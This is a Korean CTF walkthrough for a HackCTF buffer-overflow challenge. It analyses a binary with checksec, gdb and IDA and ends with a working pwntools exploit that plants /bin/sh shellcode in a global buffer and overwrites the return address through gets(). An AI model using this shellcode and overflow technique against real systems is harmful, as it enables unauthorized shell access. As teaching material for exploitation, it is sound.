HACKCTF - 내 버퍼가 흘러넘친다!!!
문제
내 버퍼가 흘러넘친다 라면서 prob1파일과 접속 주소를 준다.
prob1을 실행하니까 Name과 input을 입력하란다.
a를 입력하고 끝났다. segmentation fault가 났다.
checksec으로 보호기법을 확인해보자
gdb로 함수 어떤게 있는지 확인을 해보자
아무것도 걸려있지 않다.
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x08048330 _init
0x08048370 read@plt
0x08048380 printf@plt
0x08048390 gets@plt
0x080483a0 __libc_start_main@plt
0x080483b0 setvbuf@plt
0x080483c0 __gmon_start__@plt
0x080483d0 _start
0x08048400 __x86.get_pc_thunk.bx
0x08048410 deregister_tm_clones
0x08048440 register_tm_clones
0x08048480 __do_global_dtors_aux
0x080484a0 frame_dummy
0x080484cb main
0x08048530 __libc_csu_init
0x08048590 __libc_csu_fini
0x08048594 _fini
main함수가 있으니 main함수를 보도록 하자
프로그램 분석
ida로 먼저 main을 확인을 한 후에 보자.
ida-main
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+0h] [ebp-14h]
setvbuf(stdout, 0, 2, 0);
printf("Name : ");
read(0, &name, 0x32u);
printf("input : ");
gets(&s);
return 0;
}
read함수와 gets함수를 쓴다.
read()
ssize_t read(int fd, void *buf, size_t nbytes);
int fd : 읽을 파일의 파일 디스크립터
void *buf : 읽어들인 데이터를 저장할 버퍼(배열)
size_t nbytes : 읽어들일 데이터의 최대 길이 (buf의 길이보다 길어선 안됨)
여기서 read함수는 데이터를 저장할 name에다가 32바이트만큼 넣는다.
gdb-main
gdb-peda$ disas main
Dump of assembler code for function main:
0x080484cb <+0>: push ebp
0x080484cc <+1>: mov ebp,esp
0x080484ce <+3>: sub esp,0x14
0x080484d1 <+6>: mov eax,ds:0x804a040
0x080484d6 <+11>: push 0x0
0x080484d8 <+13>: push 0x2
0x080484da <+15>: push 0x0
0x080484dc <+17>: push eax
0x080484dd <+18>: call 0x80483b0 <setvbuf@plt>
0x080484e2 <+23>: add esp,0x10
0x080484e5 <+26>: push 0x80485b0
0x080484ea <+31>: call 0x8048380 <printf@plt>
0x080484ef <+36>: add esp,0x4
0x080484f2 <+39>: push 0x32
0x080484f4 <+41>: push 0x804a060
0x080484f9 <+46>: push 0x0
0x080484fb <+48>: call 0x8048370 <read@plt>
0x08048500 <+53>: add esp,0xc
0x08048503 <+56>: push 0x80485b8
0x08048508 <+61>: call 0x8048380 <printf@plt>
0x0804850d <+66>: add esp,0x4
0x08048510 <+69>: lea eax,[ebp-0x14]
0x08048513 <+72>: push eax
0x08048514 <+73>: call 0x8048390 <gets@plt>
0x08048519 <+78>: add esp,0x4
0x0804851c <+81>: mov eax,0x0
0x08048521 <+86>: leave
0x08048522 <+87>: ret
End of assembler dump.
지금 버퍼가 터지는 곳은 gets함수의 s변수에서 터진다. <main+69>에서 eax에 [ebp-0x14]의 주소를 넣는다.
그 후에 push eax를 하는데 이 eax가 변수 s이다.
eax가 가리키는 주소의 버퍼가 ebp-0x14 이므로 a를 20번 이상 넣으면 버퍼가 터진다.
이걸 이용하여 문제를 풀어보자.
공격방법
gets에서 버퍼가 터지는 걸 이용해서 read함수에 인자로 들어간 name(0x804a060)에 32바이트로 받으니까 32바이트보다 길이가 작은 쉘코드를 넣으면 될 것 같다.
결과
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3003)
e = ELF("./prob1")
pay = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
p.send(pay)
pay2 = "A" * 24
pay2 += "\x60\xa0\x04\x08"
p.sendline(pay2)
p.interactive()
변수 s에 A를 20 + SFP(4)까지 해서 24번 넣는다.
그 후에 return address부분에 name의 주소를 넣으면 쉘코드가 실행된다.